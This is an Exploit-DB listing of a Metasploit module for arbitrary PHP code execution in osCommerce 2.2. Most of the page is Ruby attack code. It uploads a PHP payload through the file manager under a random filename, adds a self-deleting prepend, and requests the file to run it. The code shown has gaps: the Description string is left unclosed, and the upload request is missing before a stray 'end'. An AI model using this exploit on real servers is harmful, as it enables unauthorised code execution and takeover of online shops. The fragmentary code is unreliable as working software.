osCommerce 2.2 - Arbitrary PHP Code Execution (Metasploit)

EDB-ID:

16899

CVE:

EDB Verified: ✓

Author:

METASPLOIT

Type:

WEBAPPS

Exploit: / {}

```
##
# $Id: oscommerce_filemanager.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'osCommerce 2.2 Arbitrary PHP Code
Execution',
            'Description'    => %q{
            'Payload'        =>
                {
                    'Space'       => 4000,
                    # max url length for some old versions of apache
according to
                    # http://www.boutell.com/newfaq/misc/urllength.html
                    'DisableNops' => true,
                    #'BadChars'    => %q|'"`|,  # quotes are escaped by
PHP's magic_quotes_gpc in a default install
                    'Compat'      =>
                        {
                            'ConnectionType' => 'find',
                        },
                    # Since our payload is uploaded as a file, it is polite
to
                    # clean up after ourselves.
                    'Prepend'     => "unlink(__FILE__);",
                    'Keys'        => ['php'],
                },
            'Targets'        => [ ['Automatic', { }], ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Aug 31 2009'
            ))

        register_options(
```

```
            [
                OptString.new('URI',   [ true,  "Base osCommerce directory
path", '/catalog/']),
            ], self.class)

    end

    def exploit
        # Our filename gets run through basename(), so we can have
arbitrary
        # junk in front of slashes and it will get stripped out. The unlink
in
        # Payload => Prepend above ensures that the file is deleted.
        filename  = rand_text_alphanumeric(rand(5)+5) + "/"
        (rand(5)+5).times do
            filename << rand_text_alphanumeric(rand(5)+5) + "/"
        end
        filename << rand_text_alphanumeric(rand(5)+5) + ".php"


        p = rand_text_english(rand(100)+100) + "<?php " + payload.encoded +
" ?>" + rand_text_english(rand(100)+100)
        p = Rex::Text.uri_encode(p)
        data = "filename=#{filename}&file_contents=#{p}"
```



```
        end

        print_status("Requesting our payload")
        # very short timeout because the request may never return if we're
        # sending a socket payload
        timeout = 0.1
        response = send_request_raw({
            # Allow findsock payloads to work
            'global' => true,
            'uri' => datastore['URI'] + File.basename(filename)
        }, timeout)

        handler
    end
end
```

Tags: Metasploit Framework (MSF)

Advisory/Source: Link

Databases

Links

Sites

Solutions